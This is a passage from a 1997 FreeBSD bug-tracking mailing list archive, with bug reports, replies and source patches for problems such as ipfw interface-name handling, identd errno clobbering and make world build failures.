enable a routing daemon. router="routed" # Name of routing daemon to use if enabled. router_flags="-q" # Flags for routing daemon. mrouted_enable="NO" # Do multicast routing (see /etc/mrouted.conf) ipxgateway_enable="NO" # Set to YES to enable IPX routing. ipxrouted_enable="NO" # Set to YES to run the IPX routing daemon. ipxrouted_flags="" # Flags for IPX routing daemon. arpproxy_all="" # replaces obsolete kernel option ARP_PROXY_ALL ############################################################## ### System console options ################################# ############################################################## keymap="NO" # keymap in /usr/share/syscons/keymaps/* (or NO). keyrate="NO" # keyboard rate to: slow, normal, fast (or NO). keybell="NO" # bell to duration.pitch or normal or visual (or NO). keychange="NO" # function keys default values (or NO). cursor="NO" # cursor type {normal|blink|destructive} (or NO). scrnmap="NO" # screen map in /usr/share/syscons/scrnmaps/* (or NO). font8x16="NO" # font 8x16 from /usr/share/syscons/fonts/* (or NO). font8x14="NO" # font 8x14 from /usr/share/syscons/fonts/* (or NO). font8x8="NO" # font 8x8 from /usr/share/syscons/fonts/* (or NO). blanktime="NO" # blank time (in seconds) or "NO" to turn it off. saver="NO" # screen saver desired: blank/green/snake/star/NO. moused_type="NO" # See man page for rc.conf(8) for available settings. moused_port="/dev/cuaa0" # Set to your mouse port (required if mousetype set) moused_flags="" # Any additional flags to moused. ############################################################## ### Miscellaneous administrative options ################### ############################################################## lpd_enable="YES" # Run the line printer daemon lpd_flags="" # Flags to lpd (if enabled). sendmail_enable="YES" # Run the sendmail daemon (or NO). sendmail_flags="-bd -q30m" # -bd is pretty mandatory savecore_enable="NO" # Save kernel crashdumps for debugging (or NO). dumpdev="NO" # Device name to crashdump to (if enabled). check_quotas="NO" # Check quotas (or NO). accounting_enable="NO" # Turn on process accounting (or NO). ibcs2_enable="NO" # Ibcs2 (SCO) emulation loaded at startup (or NO). linux_enable="NO" # Linux emulation loaded at startup (or NO). rand_irqs="NO" # Stir the entropy pool (or NO). % ls -l /etc/rc* -rw-r--r-- 1 root wheel 6909 May 22 00:31 /etc/rc -rw-r--r-- 1 root wheel 6627 Aug 3 12:33 /etc/rc.conf -rw-r--r-- 1 root wheel 6626 Jul 27 04:07 /etc/rc.conf.previous -rw-r--r-- 1 root wheel 4926 May 22 00:31 /etc/rc.firewall -rw-r--r-- 1 root wheel 2630 May 22 00:31 /etc/rc.i386 -rw-r--r-- 1 root wheel 440 May 22 00:31 /etc/rc.local -rw-r--r-- 1 root wheel 6157 May 22 00:31 /etc/rc.network -rw-r--r-- 1 root wheel 317 May 22 00:31 /etc/rc.pccard -rw-r--r-- 1 root wheel 3367 May 22 00:31 /etc/rc.serial >Fix: only the workaround shown above: ifconfig de0 delete ifconfig de0 205.180.26.179 netmask 255.255.255.248 Then the interface is reachable. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Aug 4 18:30:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA11129 for bugs-outgoing; Mon, 4 Aug 1997 18:30:42 -0700 (PDT) Received: from wiley.csusb.edu (wiley.csusb.edu [139.182.2.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA11122 for ; Mon, 4 Aug 1997 18:30:38 -0700 (PDT) Received: from localhost (ccordero@localhost) by wiley.csusb.edu (8.8.5/8.6.11) with SMTP id SAA13454 for ; Mon, 4 Aug 1997 18:30:26 -0700 (PDT) Date: Mon, 4 Aug 1997 18:30:26 -0700 (PDT) From: Chad R Cordero To: freebsd-bugs@hub.freebsd.org Subject: make world fails after cvsup Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk make world fails on the following file: /usr/src/usr.bin/xinstall/../../bin/ls/stat_flags.c it complains of two undeclared functions ("UF_NOUNLINK", and "SF_NOUNLINK") in "flags_to_string" and "string_to_flag". I am running FreeBSD 2.2.2-RELEASE and using cvsup 15.1 I supped 2.2.x stable. How do I fix this? Sorry, I forgot to mention my version number earlier. *************************************************** * Chad R Cordero * * Administrative Computing & Telecommunications * * * * http://tns.csusb.edu/ * *************************************************** From owner-freebsd-bugs Mon Aug 4 21:10:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA18158 for bugs-outgoing; Mon, 4 Aug 1997 21:10:06 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA18147; Mon, 4 Aug 1997 21:10:02 -0700 (PDT) Resent-Date: Mon, 4 Aug 1997 21:10:02 -0700 (PDT) Resent-Message-Id: <199708050410.VAA18147@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, ken1@earthlink.net Received: (from nobody@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA17710; Mon, 4 Aug 1997 21:03:25 -0700 (PDT) Message-Id: <199708050403.VAA17710@hub.freebsd.org> Date: Mon, 4 Aug 1997 21:03:25 -0700 (PDT) From: ken1@earthlink.net To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/4230: Read Error when making boot disk from 2.2.2 Walnut Creek CDROM Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4230 >Category: bin >Synopsis: Read Error when making boot disk from 2.2.2 Walnut Creek CDROM >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Aug 4 21:10:01 PDT 1997 >Last-Modified: >Originator: Nick Boehling >Organization: >Release: 2.2.2 >Environment: Read Error >Description: When I go to make the boot disk for FreeBSD 2.2.2 off the CDROM I get a read error every time I try to make it. I have tried on 3 computers and all didn't work. >How-To-Repeat: Use CD to make boot disks on 3 1/4" floppy >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Aug 4 23:56:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA24930 for bugs-outgoing; Mon, 4 Aug 1997 23:56:08 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id XAA24925 for ; Mon, 4 Aug 1997 23:56:04 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA27175; Tue, 5 Aug 1997 08:55:54 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id IAA15958; Tue, 5 Aug 1997 08:37:05 +0200 (MET DST) Message-ID: <19970805083704.VF09420@uriah.heep.sax.de> Date: Tue, 5 Aug 1997 08:37:04 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: ccordero@wiley.csusb.edu (Chad R Cordero) Cc: freebsd-bugs@hub.freebsd.org Subject: Re: make world fails after cvsup References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Chad R Cordero on Aug 4, 1997 16:49:08 -0700 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Chad R Cordero wrote: > make world fails on the following file: > > /usr/src/usr.bin/xinstall/../../bin/ls/stat_flags.c > > it complains of two undeclared functions ("UF_NOUNLINK", and > "SF_NOUNLINK") in "flags_to_string" and "string_to_flag". How do I fix > this? Since the names are capitalized, that's for sure not a function, but rather a C preprocessor macro. Do a `make includes' first. That's probably related to Julian's addition of a new file flag. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Tue Aug 5 00:00:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA25196 for bugs-outgoing; Tue, 5 Aug 1997 00:00:07 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA25165; Tue, 5 Aug 1997 00:00:02 -0700 (PDT) Date: Tue, 5 Aug 1997 00:00:02 -0700 (PDT) Message-Id: <199708050700.AAA25165@hub.freebsd.org> To: freebsd-bugs Cc: From: j@uriah.heep.sax.de (J Wunsch) Subject: Re: bin/4228: unmounting mfs filesystem does bogus dns lookups Reply-To: j@uriah.heep.sax.de (J Wunsch) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4228; it has been noted by GNATS. From: j@uriah.heep.sax.de (J Wunsch) To: richard@cogsci.ed.ac.uk Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/4228: unmounting mfs filesystem does bogus dns lookups Date: Tue, 5 Aug 1997 08:39:52 +0200 As richard@cogsci.ed.ac.uk wrote: > /tmp is a memory filesystem. If I unmount it when I am not connected > to the Internet, unmounting takes several minutes. This has already been fixed in: revision 1.7 date: 1997/05/16 10:27:02; author: dfr; state: Exp; lines: +2 -2 Generalise the previous change so that only NFS hostnames are looked up. PR: bin/3588 Suggested by: Joerg Wunsch ---------------------------- revision 1.6 date: 1997/04/29 09:10:11; author: dfr; state: Exp; lines: +2 -2 Don't try to look up unionfs' , keywords as hostnames. ...of umount.c. The fix is not yet in the 2.2-stable branch, but probably should be there. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Tue Aug 5 00:20:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA26294 for bugs-outgoing; Tue, 5 Aug 1997 00:20:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA26279; Tue, 5 Aug 1997 00:20:01 -0700 (PDT) Date: Tue, 5 Aug 1997 00:20:01 -0700 (PDT) Message-Id: <199708050720.AAA26279@hub.freebsd.org> To: freebsd-bugs Cc: From: j@uriah.heep.sax.de (J Wunsch) Subject: Re: bin/4230: Read Error when making boot disk from 2.2.2 Walnut Creek CDROM Reply-To: j@uriah.heep.sax.de (J Wunsch) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4230; it has been noted by GNATS. From: j@uriah.heep.sax.de (J Wunsch) To: ken1@earthlink.net Cc: freebsd-gnats-submit@FreeBSD.ORG Subject: Re: bin/4230: Read Error when making boot disk from 2.2.2 Walnut Creek CDROM Date: Tue, 5 Aug 1997 08:54:22 +0200 As ken1@earthlink.net wrote: > >Description: > When I go to make the boot disk for FreeBSD 2.2.2 off the CDROM I get a > read error every time I try to make it. I have tried on 3 computers and all > didn't work. > >How-To-Repeat: > Use CD to make boot disks on 3 1/4" floppy I don't have one. :-) Or did you perhaps mean 3.5" floppies? Well, this merely sounds like a problem with your CD-ROM medium. Get in contact with Walnut Creek CDROM for a replacement. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Tue Aug 5 01:17:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA28862 for bugs-outgoing; Tue, 5 Aug 1997 01:17:19 -0700 (PDT) Received: from silvia.HIP.Berkeley.EDU (ala-ca8-36.ix.netcom.com [207.93.141.164]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA28857 for ; Tue, 5 Aug 1997 01:17:17 -0700 (PDT) Received: (from asami@localhost) by silvia.HIP.Berkeley.EDU (8.8.6/8.6.9) id BAA15949; Tue, 5 Aug 1997 01:17:08 -0700 (PDT) Date: Tue, 5 Aug 1997 01:17:08 -0700 (PDT) Message-Id: <199708050817.BAA15949@silvia.HIP.Berkeley.EDU> To: joerg_wunsch@uriah.heep.sax.de CC: ccordero@wiley.csusb.edu, freebsd-bugs@hub.freebsd.org In-reply-to: <19970805083704.VF09420@uriah.heep.sax.de> (j@uriah.heep.sax.de) Subject: Re: make world fails after cvsup From: asami@cs.berkeley.edu (Satoshi Asami) Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk * Do a `make includes' first. That's probably related to Julian's * addition of a new file flag. By the way, from now on, you shouldn't have to do any "make includes" on 2.2-stable or 3.0-current. If you do, please let me know, as the new "buildworld" target is supposed to take care of this all. Satoshi From owner-freebsd-bugs Tue Aug 5 03:35:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA05579 for bugs-outgoing; Tue, 5 Aug 1997 03:35:04 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA05560; Tue, 5 Aug 1997 03:34:57 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id UAA26192; Tue, 5 Aug 1997 20:28:52 +1000 Date: Tue, 5 Aug 1997 20:28:52 +1000 From: Bruce Evans Message-Id: <199708051028.UAA26192@godzilla.zeta.org.au> To: ru@ucb.crimea.ua, Tor.Egge@idi.ntnu.no Subject: Re: CPSR #8: identd Denial of Service (fwd) Cc: freebsd-bugs@FreeBSD.ORG, torstenb@FreeBSD.ORG Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> Index: libexec/identd/identd.c >> =================================================================== >> RCS file: /cvs/src/libexec/identd/identd.c,v >> retrieving revision 1.4 >> retrieving revision 1.5 >> diff -r1.4 -r1.5 >> 2c2 >> < ** $Id: identd.c,v 1.4 1997/07/23 20:36:27 kstailey Exp $ >> --- >> > ** $Id: identd.c,v 1.5 1997/07/29 07:49:31 deraadt Exp $ >> 180a181 >> > int save_errno = errno; >> 184a186 >> > errno = save_errno; >> > >This patch causes the SIGCHLD handler to no longer clobber errno. >While this is a bug fix, it should only affect the parent process >and remove some bogus "main: select" error messages. This should be fixed generally by preserving errno across all signal handlers. POSIX.1 requires that some syscalls are "safe" to call in signal handlers, so they must not modify any global variables, at least as the interrupted thread of execution can tell. In [Free]BSD, most syscalls don't modify any global variables except for errno. Unfortunately, they all clobber errno. Bruce From owner-freebsd-bugs Tue Aug 5 05:50:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA11142 for bugs-outgoing; Tue, 5 Aug 1997 05:50:04 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA11125; Tue, 5 Aug 1997 05:50:02 -0700 (PDT) Date: Tue, 5 Aug 1997 05:50:02 -0700 (PDT) Message-Id: <199708051250.FAA11125@hub.freebsd.org> To: freebsd-bugs Cc: From: Alex Nash Subject: Re: bin/4209: ipfw does not work with multiple digit interface numbers Reply-To: Alex Nash Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR bin/4209; it has been noted by GNATS. From: Alex Nash To: FreeBSD-gnats-submit@freebsd.org Cc: Subject: Re: bin/4209: ipfw does not work with multiple digit interface numbers Date: Tue, 05 Aug 1997 07:44:58 -0500 Daniel Holmes wrote: > I did check the source to ipfw.c over the weekend, and it looks like > when it sets up the unit name and number, it sets the last > character from the string to a null but it looks like it gets > everything after the first digit on the unit number. At line 742 in ipfw.c: > > rule.fw_via_name[sizeof(rule.fw_via_name) - 1] = '\0'; > > changing that to > > rule.fw_via_name[sizeof(rule.fw_via_name)] = '\0'; You don't want that, it'll overwrite the unit field. The real problem is that the name field is fixed at 6 characters, even though net/if.h defines IFNAMSIZ to be 16. The following (briefly tested) patch discards some flexibility in ICMP type handling in return for a longer name size. Previously, any ICMP type from 0-255 could be used even though a only handful were useful (typically 0-18). Since the ip_fw structure couldn't be expanded beyond its current 108 byte size (due to setsockopt), I threw out some of the not-so-often used ICMP types -- those above 31. I've purposely resized the structure to 104 bytes to make it incompatible with previous versions of ipfw. Since the fine folks at Whistle Communications have kept the 2.2 and -current trees in sync, this patch should apply cleanly to both trees. Alex Index: src/sbin/ipfw/ipfw.c =================================================================== RCS file: /cvs/src/sbin/ipfw/ipfw.c,v retrieving revision 1.34.2.5 diff -c -r1.34.2.5 ipfw.c *** ipfw.c 1997/06/23 22:34:24 1.34.2.5 --- ipfw.c 1997/08/04 23:41:07 *************** *** 384,390 **** printf(" icmptype"); ! for (type_index = 0; type_index < 256; ++type_index) if (chain->fw_icmptypes[type_index / (sizeof(unsigned) * 8)] & (1U << (type_index % (sizeof(unsigned) * 8)))) { printf("%c%d", first == 1 ? ' ' : ',', type_index); --- 384,390 ---- printf(" icmptype"); ! for (type_index = 0; type_index < IP_FW_ICMPTYPES_DIM * sizeof(unsigned) * 8; ++type_index) if (chain->fw_icmptypes[type_index / (sizeof(unsigned) * 8)] & (1U << (type_index % (sizeof(unsigned) * 8)))) { printf("%c%d", first == 1 ? ' ' : ',', type_index); *************** *** 697,704 **** if ( *c != ',' && *c != '\0' ) show_usage("invalid ICMP type"); ! if (icmptype > 255) ! show_usage("ICMP types are between 0 and 255 inclusive"); types[icmptype / (sizeof(unsigned) * 8)] |= 1 << (icmptype % (sizeof(unsigned) * 8)); --- 697,704 ---- if ( *c != ',' && *c != '\0' ) show_usage("invalid ICMP type"); ! if (icmptype >= IP_FW_ICMPTYPES_DIM * sizeof(unsigned) * 8) ! show_usage("ICMP type out of range"); types[icmptype / (sizeof(unsigned) * 8)] |= 1 << (icmptype % (sizeof(unsigned) * 8)); Index: src/sys/netinet/ip_fw.h =================================================================== RCS file: /cvs/src/sys/netinet/ip_fw.h,v retrieving revision 1.23.2.2 diff -c -r1.23.2.2 ip_fw.h *** ip_fw.h 1997/06/20 23:05:34 1.23.2.2 --- ip_fw.h 1997/08/04 22:58:41 *************** *** 17,22 **** --- 17,24 ---- #ifndef _IP_FW_H #define _IP_FW_H + #include + /* * This union structure identifies an interface, either explicitly * by name or implicitly by IP address. The flags IP_FW_F_IIFNAME *************** *** 33,39 **** union ip_fw_if { struct in_addr fu_via_ip; /* Specified by IP address */ struct { /* Specified by interface name */ ! #define FW_IFNLEN 6 /* To keep structure on 2^x boundary */ char name[FW_IFNLEN]; short unit; /* -1 means match any unit */ } fu_via_if; --- 35,41 ---- union ip_fw_if { struct in_addr fu_via_ip; /* Specified by IP address */ struct { /* Specified by interface name */ ! #define FW_IFNLEN IFNAMSIZ char name[FW_IFNLEN]; short unit; /* -1 means match any unit */ } fu_via_if; *************** *** 58,64 **** u_short fw_pts[IP_FW_MAX_PORTS]; /* Array of port numbers to match */ u_char fw_ipopt,fw_ipnopt; /* IP options set/unset */ u_char fw_tcpf,fw_tcpnf; /* TCP flags set/unset */ ! #define IP_FW_ICMPTYPES_DIM (256 / (sizeof(unsigned) * 8)) unsigned fw_icmptypes[IP_FW_ICMPTYPES_DIM]; /* ICMP types bitmap */ long timestamp; /* timestamp (tv_sec) of last match */ union ip_fw_if fw_in_if, fw_out_if; /* Incoming and outgoing interfaces */ --- 60,66 ---- u_short fw_pts[IP_FW_MAX_PORTS]; /* Array of port numbers to match */ u_char fw_ipopt,fw_ipnopt; /* IP options set/unset */ u_char fw_tcpf,fw_tcpnf; /* TCP flags set/unset */ ! #define IP_FW_ICMPTYPES_DIM (32 / (sizeof(unsigned) * 8)) unsigned fw_icmptypes[IP_FW_ICMPTYPES_DIM]; /* ICMP types bitmap */ long timestamp; /* timestamp (tv_sec) of last match */ union ip_fw_if fw_in_if, fw_out_if; /* Incoming and outgoing interfaces */ From owner-freebsd-bugs Tue Aug 5 06:02:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA11740 for bugs-outgoing; Tue, 5 Aug 1997 06:02:56 -0700 (PDT) Received: (from alex@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA11721; Tue, 5 Aug 1997 06:02:50 -0700 (PDT) Date: Tue, 5 Aug 1997 06:02:50 -0700 (PDT) From: Alex Nash Message-Id: <199708051302.GAA11721@hub.freebsd.org> To: danielh@dakcs.com, alex, freebsd-bugs, alex Subject: Re: bin/4209 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: ipfw does not work with multiple digit interface numbers State-Changed-From-To: open-analyzed State-Changed-By: alex State-Changed-When: Tue Aug 5 05:55:24 PDT 1997 State-Changed-Why: I have a preliminary patch ready to fix this. Responsible-Changed-From-To: freebsd-bugs->alex Responsible-Changed-By: alex Responsible-Changed-When: Tue Aug 5 05:55:24 PDT 1997 Responsible-Changed-Why: I'll commit the patch after some more thought. From owner-freebsd-bugs Tue Aug 5 12:15:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA29432 for bugs-outgoing; Tue, 5 Aug 1997 12:15:13 -0700 (PDT) Received: from In-Net.inba.fr (arthur.inba.fr [194.51.120.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA29427 for ; Tue, 5 Aug 1997 12:15:09 -0700 (PDT) Received: from uther.inba.fr (uther.inba.fr [194.51.120.62]) by In-Net.inba.fr (8.8.5/8.8.5) with SMTP id VAA06769 for ; Tue, 5 Aug 1997 21:21:47 +0200 (MET DST) Message-Id: <3.0.1.16.19970805212518.08cfbc12@mail.inba.fr> X-Sender: psc@mail.inba.fr X-Mailer: Windows Eudora Pro Version 3.0.1 (16) Demo [F] Date: Tue, 05 Aug 1997 21:25:18 +0200 To: freebsd-bugs@freebsd.org From: Philippe SCHACK Subject: Strange login accounting in monthly run output Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Sorry if this message arrive two times, but I don't receive the first one. Hello, On some servers, I have the user 'date' listed in the login accounting every month. There is no /bin/date in /etc/passwd. From where doe's it come ? Subject: arthur monthly run output Doing login accounting: total 253.34 date 248.53 <---- ????? user1 2.84 user2 0.78 ... From owner-freebsd-bugs Tue Aug 5 13:11:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA02207 for bugs-outgoing; Tue, 5 Aug 1997 13:11:40 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA02194; Tue, 5 Aug 1997 13:11:32 -0700 (PDT) From: "Andrey A. Chernov" Received: (from ache@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id NAA15636; Tue, 5 Aug 1997 13:11:28 -0700 (PDT) Date: Tue, 5 Aug 1997 13:11:28 -0700 (PDT) Message-Id: <199708052011.NAA15636@freefall.freebsd.org> To: ru@ferrix.ucb.crimea.ua, ache@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/4090 Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: slip driver is incompatible with current version of ifconfig State-Changed-From-To: open-analyzed State-Changed-By: ache State-Changed-When: Tue Aug 5 13:10:18 PDT 1997 State-Changed-Why: This bug fixed in -current by different way From owner-freebsd-bugs Tue Aug 5 15:50:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA10373 for bugs-outgoing; Tue, 5 Aug 1997 15:50:07 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA10365; Tue, 5 Aug 1997 15:50:02 -0700 (PDT) Resent-Date: Tue, 5 Aug 1997 15:50:02 -0700 (PDT) Resent-Message-Id: <199708052250.PAA10365@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, hsu@mail.clinet.fi Received: from hauki.clinet.fi (root@hauki.clinet.fi [194.100.0.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA09935 for ; Tue, 5 Aug 1997 15:41:20 -0700 (PDT) Received: from katiska.clinet.fi (root@katiska.clinet.fi [194.100.0.4]) by hauki.clinet.fi (8.8.6/8.8.6) with ESMTP id BAA08336 for ; Wed, 6 Aug 1997 01:41:14 +0300 (EET DST) Received: (root@localhost) by katiska.clinet.fi (8.8.6/8.6.4) id BAA24474; Wed, 6 Aug 1997 01:41:14 +0300 (EEST) Message-Id: <199708052241.BAA24474@katiska.clinet.fi> Date: Wed, 6 Aug 1997 01:41:14 +0300 (EEST) From: Heikki Suonsivu Reply-To: hsu@mail.clinet.fi To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/4231: ipfw no more returns error when deleting non-existent rule Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Number: 4231 >Category: bin >Synopsis: ipfw no more returns error when deleting non-existent rule >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Aug 5 15:50:00 PDT 1997 >Last-Modified: >Originator: Heikki Suonsivu >Organization: Clinet, Espoo, Finland >Release: FreeBSD 2.2-STABLE i386 >Environment: 2.2-STABLE (probably also in current). >Description: ipfw command no more returns exit 1 when deleting non-existant rule, even though it still gives an error message. >How-To-Repeat: To test, do while ipfw delete 5123 do done and it will loop forever. We have used this in scripts which clean up and install new filters for various purposes, like filtering cyberpromo and friends. Bad, as these filters are usually also installed in local rc files and system won't get past them unless they are backgrounded. >Fix: I think this does the trick (not extensively tested, but its simple). It may be worth checking out ipfw.c for any other similar problems as it seems to have changed quite a bit when this bug was merged in ? Index: ipfw.c =================================================================== RCS file: /usr/CVS/src/sbin/ipfw/ipfw.c,v retrieving revision 1.34.2.5 diff -c -r1.34.2.5 ipfw.c *** ipfw.c 1997/06/23 22:34:24 1.34.2.5 --- ipfw.c 1997/08/05 22:26:07 *************** *** 713,718 **** --- 713,719 ---- { struct ip_fw rule; int i; + int success = 0; memset(&rule, 0, sizeof rule); *************** *** 722,730 **** while (ac && isdigit(**av)) { rule.fw_number = atoi(*av); av++; ac--; i = setsockopt(s, IPPROTO_IP, IP_FW_DEL, &rule, sizeof rule); ! if (i) ! warn("setsockopt(%s)", "IP_FW_DEL"); } } static void --- 723,734 ---- while (ac && isdigit(**av)) { rule.fw_number = atoi(*av); av++; ac--; i = setsockopt(s, IPPROTO_IP, IP_FW_DEL, &rule, sizeof rule); ! if (!i) ! success = 1; } + + if (!success) + err(1, "setsockopt(IP_FW_DEL)"); } static void >Audit-Trail: >Unformatted: From owner-freebsd-bugs Tue Aug 5 15:54:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA10663 for bugs-outgoing; Tue, 5 Aug 1997 15:54:54 -0700 (PDT) Received: from bob.tri-lakes.net ([207.3.81.6]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA10651 for ; Tue, 5 Aug 1997 15:54:41 -0700 (PDT) Received: from [207.3.81.149] by bob.tri-lakes.net (NTMail 3.02.13) with ESMTP id qa244104 for ; Tue, 5 Aug 1997 17:54:05 -0500 Message-ID: X-Mailer: XFMail 1.1 [p0] on FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199708050720.AAA26279@hub.freebsd.org> Date: Tue, 05 Aug 1997 17:50:17 -0000 (GMT) From: Chris Dillon To: freebsd-bugs@hub.freebsd.org Subject: Re: bin/4230: Read Error when making boot disk from 2.2.2 Walnut Sender: owner-freebsd-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 05-Aug-97 J Wunsch wrote: > > >Description: > > When I go to make the boot disk for FreeBSD 2.2.2 off the CDROM I get >a > > read error every time I try to make it. I have tried on 3 computers >and all > > didn't work. > > >How-To-Repeat: > > Use CD to make boot disks on 3 1/4" floppy > > I don't have one. :-) Or did you perhaps mean 3.5" floppies? > > Well, this merely sounds like a problem with your CD-ROM medium. Get > in contact with Walnut Creek CDROM for a replacement. Maybe he should try *cleaning* the CD first. --- Chris Dillon --- cdillon@tri-lakes.net --- Powered by FreeBSD, the best free OS on the planet ---- (http://www.freebsd.org) From owner-freebsd-bugs Wed Aug 6 01:20:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA07771 for bugs-outgoing; Wed, 6 Aug 1997 01:20:05 -0700 (PDT) Received: (from gnats@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA07752; Wed, 6 Aug 1997 01:20:02 -0700 (PDT) Resent-Date: Wed, 6 Aug 1997 01:20:02 -0700 (PDT) Resent-Message-Id: <199708060820.BAA07752@hub.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@FreeBSD.ORG, helbig@MX.BA-Stuttgart.De Received: from helbig.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA07392 for ; Wed, 6 Aug 1997 01:13:26 -0700 (PDT) Received: (from helbig@localhost) by helbig.informatik.ba-stuttgart.de (8.8.7/8.8.5) id KAA09793; Wed, 6 Aug 1997 10:13:21 +0200 (MET DST) Message-Id: <199708060813.KAA09793@helbig.informatik.ba-stuttgart.de> Date: Wed, 6 Aug 1997 10:13:21 +0200 (MET DST) From: Wolfgang Helbig Reply-To: helbig@MX.BA-Stuttgart.De To: 